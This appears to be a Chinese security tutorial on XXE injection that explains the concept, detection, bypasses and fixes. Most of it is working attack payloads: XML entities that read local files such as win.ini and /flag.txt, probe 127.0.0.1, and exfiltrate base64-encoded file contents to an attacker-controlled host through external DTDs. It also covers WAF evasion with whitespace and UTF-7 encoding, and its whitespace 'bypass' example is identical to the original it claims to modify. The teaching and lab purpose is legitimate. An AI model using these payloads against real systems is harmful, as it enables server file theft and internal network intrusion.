XXE外部实体注入漏洞

概念

XML

xml全称“可扩展标记语言”,是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因此可以标记为指定描述数据的名称。 XML用于标记电子文件使其具有结构性的标记语言。可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义、文档元素。

image-20230421165135753

XXE

XML External Entity即外部实体,从安全角度理解成XML Enternal Entity attack外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生。会造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。

危害:文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等

支持协议

libxml2 PHP Java .NET
file
http
ftp
file
http
ftp
php
compress.zlib
compress.bzlip2
data
glob
phar
http
https
ftp
file
jar
netdoc
mailto
gopher *
file
http
https
ftp
  • DTD(文档类型定义)

    1
    <!DOCTYPE 根元素 [元素申明]>
  • 外部引用DTD格式

    1
    <!DOCTYPE 根元素 SYSTEM "外部DTD的URI"

检测

  • 白盒:代码审计

  • 黑盒:

    • 手动

      1
      2
      3
      4
      Content-Type:application/xml
      <user><username>admin</username><password>111</password></user>
      看到Content-Type:application/x-www-form-urlencoded
      改成Content-Type:application/xml或者text/xml
    • 工具:AWVS、Xray等

利用

有回显

  • 读取文件
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY aaa SYSTEM "file:///C:/Windows/win.ini" >]>
<name>&aaa;</name>
  • 利用base64编码读取php文件

    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-
    encode/resource=file:///C:/phpStudy/PHPTutorial/WWW/pikachu/vul/xxe/11.txt">]>
    <name>&xxe;</name>
  • 内网探测攻击

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1">]>
    <name>&xxe;</name>

引入外部DTD

去访问dtd文件时,会把dtd文件当成xml去执行(对方没有禁用外部实体)

  • eval.dtd

    1
    <!ENTITY send SYSTEM "file:///C:/windows/win.ini">
  • payload

    1
    2
    3
    4
    5
    6
    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ENTITY % dtd SYSTEM "http://192.168.43.117/eval.dtd">
    %dtd;
    ]>
    <name>&send;</name>

无回显

kali:开启apache日志记录 / python起一个web服务

1
2
3
4
systemctl start apache2 #开启apache服务
tail -f /var/log/apache2/access.log #开启日志记录

python -m http.server [8080]

读取文件:加载外部dtd

  • test.dtd

    1
    2
    3
    4
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-
    encode/resource=C:/windows/win.ini">
    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.43.117/?
    abc=%file;'>"> %payload;
  • payload

    1
    2
    3
    4
    5
    6
    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ENTITY % dtd SYSTEM "http://192.168.43.117/xxe/test.dtd">
    %dtd;
    %send;
    ]>

读取文件:加载外部xml

  • eval.xml

    1
    2
    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.43.117/?
    abc=%file;'>"> %payload;
  • payload

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-
    encode/resource=C:/windows/win.ini">
    <!ENTITY % dtd SYSTEM "http://192.168.43.117/xxe/evil.xml">
    %dtd;
    %send;
    ]>

常见绕过

  • 协议绕过(data,filter,file)

  • 空格绕过

    • 原理

      通常XXE漏洞存在于XML文档的开头,有的WAF会检测XML文档中开头中的某些子字符串或正则表达式,但是XML格式在设置标签属性的格式时允许使用任何数量的空格,因此我们可以在<?xml?><!DOCTYPE>中插入数量足够多的空格去绕过WAF的检测。

    • 原文

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <?xml              
      version="1.0" encoding="utf-8"?>
      <!DOCTYPE test [
      <!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
      <!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
      %remote;
      %dtd;
      %xxe;
      ]>
    • 绕过

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <?xml              
      version="1.0" encoding="utf-8"?>
      <!DOCTYPE test [
      <!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
      <!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
      %remote;
      %dtd;
      %xxe;
      ]>
  • 编码绕过(UTF-7)

    • 原理

      当服务端对一些关键词过滤时(SYSTEM ENTITY)时,可以使用UTF-7绕过

    • 源码

      1
      2
      3
      4
      5
      6
      7
      8
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE test [
      <!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
      <!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
      %remote;
      %dtd;
      %xxe;
      ]>
    • 绕过

      1
      2
      3
      4
      5
      6
      7
      8
      <?xml version="1.0" encoding="utf-7"?>
      +ADwAIQ-DOCTYPE test +AFs-
      +ADwAIQ-ENTITY +ACU- file SYSTEM +ACI-php://filter/read+AD0-convert-base64.encode/resource+AD0-/flag.txt+ACIAPg-
      +ADwAIQ-ENTITY +ACU- remote SYSTEM +ACI-http://vps-ip/test.dtd+ACIAPg-
      +ACU-remote+ADs-
      +ACU-dtd+ADs-
      +ACU-xxe+ADs-
      +AF0APg-

修复

  1. 使用开发语言提供的禁用外部实体的方法

    1. PHP

      1
      libxml_disable_entity_loader(true);
    2. Python

      1
      2
      from lxml import etree xmlData =
      etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    3. Java

      1
      2
      DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);
  2. 过滤用户提交的XML数据

    过滤<!DOCTYPE>, <!ENTITY>, SYSTEM,file://,http:// 等